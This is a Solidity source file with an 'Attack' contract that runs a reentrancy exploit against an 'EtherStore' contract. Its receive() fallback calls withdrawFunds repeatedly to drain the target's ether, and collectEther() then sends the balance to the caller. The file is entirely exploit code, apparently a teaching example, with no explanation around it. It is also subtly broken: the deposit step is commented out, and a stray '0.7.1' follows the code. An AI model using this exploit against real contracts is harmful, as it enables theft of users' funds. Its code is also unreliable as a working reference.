// SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.6.4; import "./EtherStore.sol"; contract Attack { EtherStore public etherStore; // intialize the etherStore variable with the contract address constructor(address _etherStoreAddress) public{ etherStore = EtherStore(_etherStoreAddress); } function attackEtherStore() public payable { // attack to the nearest ether require(msg.value >= 1 ether); // send eth to the depositFunds() function //etherStore.depositFunds{value:1 ether}(); // start the magic etherStore.withdrawFunds(msg.value); } function collectEther() public { payable(msg.sender).transfer(address(this).balance); } // fallback function - where the magic happens receive() payable external { if (address(etherStore).balance > 1 ether) { etherStore.withdrawFunds(1 ether); } } }
0.7.1